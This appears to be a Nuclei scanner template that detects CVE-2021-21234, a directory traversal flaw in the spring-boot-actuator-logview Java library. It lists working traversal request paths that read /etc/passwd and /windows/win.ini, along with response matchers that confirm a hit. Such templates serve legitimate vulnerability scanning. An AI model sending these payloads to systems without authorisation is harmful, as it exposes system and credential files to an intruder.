id: CVE-2021-21234

info:
  name: Spring Boot Actuator Logview - Directory Traversal
  author: gy741,pikpikcu
  severity: high
  description: spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package "eu.hinsch:spring-boot-actuator-logview". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability.
  reference:
    - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
    - https://github.com/cristianeph/vulnerability-actuator-log-viewer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21234
  tags: cve,cve2021,springboot,lfi,actuator
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.70
    cve-id: CVE-2021-21234
    cwe-id: CWE-22

requests:
  - method: GET
    path:
      - "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # Windows
      - "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" # windows
      - "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux
      - "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" # linux

    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: word
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
        part: body